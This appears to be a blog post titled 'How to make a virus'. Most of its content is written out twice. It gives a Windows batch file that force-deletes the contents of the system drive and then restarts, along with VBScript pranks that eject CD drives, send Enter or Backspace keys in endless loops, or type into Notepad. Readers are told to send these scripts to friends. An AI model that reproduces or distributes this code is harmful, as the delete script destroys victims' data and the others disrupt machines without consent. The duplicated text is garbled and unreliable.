How to make a virus
Before you can actuall y make a virus u have to learn some things
LETS MAKE A SIMPLE VIRUS FIRST
ECHO HI
SAVE IT AS .BAT
THIS WILL PRINT ECHO HI ON THE SCREEN
IF U DONT WANT THE ECHO THING COMING TYPE
@Echo off
echo hi
this will print hi on the screen
next comes the del comand which is used to delete files
now lets make another virus which will delete all
.tmp files
@Echo off
del *.tmp ( i am not sure this virus will work now)
Now this a simple virus which will delete the c drive
@Echo off
Del C:\ *.*
y
or better version
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
And save that as .bat not .txt and RUN IT
It will delete the content of C:\ drive...
PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:...
2) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
==============================================================
3) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.
==============================================================
4) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.
==============================================================
5) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.
LETS MAKE A SIMPLE VIRUS FIRST
ECHO HI
SAVE IT AS .BAT
THIS WILL PRINT ECHO HI ON THE SCREEN
IF U DONT WANT THE ECHO THING COMING TYPE
@Echo off
echo hi
this will print hi on the screen
next comes the del comand which is used to delete files
now lets make another virus which will delete all
.tmp files
@Echo off
del *.tmp ( i am not sure this virus will work now)
Now this a simple virus which will delete the c drive
@Echo off
Del C:\ *.*
y
or better version
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
And save that as .bat not .txt and RUN IT
It will delete the content of C:\ drive...
PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:...
2) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
==============================================================
3) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.
==============================================================
4) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.
==============================================================
5) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.
(note these are pretty simple viruses making .bat file viruses is pretty simple )
No comments:
Post a Comment